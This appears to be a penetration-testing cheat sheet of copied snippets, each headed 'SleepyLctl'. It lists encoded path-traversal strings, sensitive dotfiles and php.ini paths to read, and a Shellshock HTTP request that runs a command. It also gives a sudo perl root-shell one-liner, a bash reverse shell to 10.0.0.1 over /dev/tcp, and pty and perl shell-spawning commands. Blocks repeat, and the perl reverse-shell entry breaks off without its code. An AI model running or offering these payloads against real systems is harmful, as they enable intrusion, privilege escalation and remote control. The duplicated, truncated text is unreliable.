SleepyLctl

Encoded Traversal Strings:

../
..\
..\/
%2e%2e%2f
%252e%252e%252f
%c0%ae%c0%ae%c0%af
%uff0e%uff0e%u2215
%uff0e%uff0e%u2216

SleepyLctl

Encoded Traversal Strings:

../
..\
..\/
%2e%2e%2f
%252e%252e%252f
%c0%ae%c0%ae%c0%af
%uff0e%uff0e%u2215

SleepyLctl

.aptitude/config
.bash_config
.bash_history
.bash_logout
.bashrc
.cache/notify-osd.log
.config/oDesk/oDesk Team.conf
.cshrc
.gitconfig
.history

SleepyLctl

/etc/php.ini
/bin/php.ini
/etc/httpd/php.ini
/usr/lib/php.ini
/usr/lib/php/php.ini
/usr/local/etc/php.ini
/usr/local/lib/php.ini
/usr/local/php/lib/php.ini
/usr/local/php4/lib/php.ini
/usr/local/php5/lib/php.ini

SleepyLctl

Injectable: Referer:; User-Agent:; and other Headers

###########################################################

GET /script.sh HTTP/1.0
Host: localhost
User-Agent: () { ignored;};echo -e "Content-Type: text/plain\r\n\r"; /usr/bin/id

###########################################################

SleepyLctl

# sudo -l 

SUDO PERL
####################################
sudo perl -e "system('/bin/sh')"

SleepyLctl

Make an image of the device first
#################################
# dd if=/dev/target_partition of=/home/user/partition.image



fdisk -l
# fsck

# strings /dev/sda | grep 

SleepyLctl

Bash

Some versions of bash can send you a reverse shell (this was tested on Ubuntu 10.10):

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

PERL

Here’s a shorter, feature-free version of the perl-reverse-shell:

SleepyLctl

Bash

Some versions of bash can send you a reverse shell (this was tested on Ubuntu 10.10):

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

PERL

Here’s a shorter, feature-free version of the perl-reverse-shell:

SleepyLctl

Shell Spawning

    python -c 'import pty; pty.spawn("/bin/sh")'

    echo os.system('/bin/bash')

    /bin/sh -i

    perl —e 'exec "/bin/sh";'